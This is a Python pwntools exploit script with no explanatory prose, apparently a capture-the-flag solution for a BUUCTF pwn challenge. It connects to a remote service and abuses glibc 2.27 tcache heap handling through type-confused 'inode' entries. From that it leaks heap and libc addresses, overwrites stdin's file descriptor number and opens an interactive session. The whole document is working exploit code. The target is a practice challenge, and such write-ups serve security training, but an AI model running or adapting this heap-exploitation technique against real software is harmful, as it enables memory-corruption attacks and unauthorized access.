1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| from pwn import *
sh = remote('node3.buuoj.cn',26759) libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') malloc_hook_s = libc.symbols['__malloc_hook'] stdin_filno_s = libc.sym['_IO_2_1_stdin_'] + 0x70
def add(type,number): sh.sendlineafter('which command?','1') sh.sendlineafter('TYPE:',str(type)) sh.sendlineafter('your inode number:',str(number))
def delete(type): sh.sendlineafter('which command?','2') sh.sendlineafter('TYPE:',str(type))
def show(type): sh.sendlineafter('which command?','3') sh.sendlineafter('TYPE:',str(type))
add(1,0x0ABCDEF) delete(1)
for i in range(4): add(2,0xCDEF)
delete(2)
add(1,0) delete(2)
show(2) sh.recvuntil('your short type inode number :') heap_low_2byte = int(sh.recvuntil('\n',drop = True)) if heap_low_2byte < 0: heap_low_2byte += 0x10000 print 'heap_low_2byte=',hex(heap_low_2byte)
add(2,heap_low_2byte - 0xA0) add(2,0)
delete(1)
add(2,0x30 + 0x20 * 3 + 1)
for i in range(7): delete(1) add(2,0)
delete(1)
show(1) sh.recvuntil('your int type inode number :') main_arena_low_4byte = int(sh.recvuntil('\n',drop = True)) if main_arena_low_4byte < 0: main_arena_low_4byte += 0x100000000 malloc_hook_low_4byte = (main_arena_low_4byte & 0xFFFFF000) + (malloc_hook_s & 0xFFF) libc_base_low_4byte = malloc_hook_low_4byte - malloc_hook_s stdin_filno_low_4byte = libc_base_low_4byte + stdin_filno_s print 'libc_base_low_4byte=',hex(libc_base_low_4byte) print 'stdin_filno_low_4byte=',hex(stdin_filno_low_4byte)
add(2,stdin_filno_low_4byte & 0xFFFF) add(1,0)
add(1,666)
sh.sendlineafter('which command?','4')
sh.interactive()
|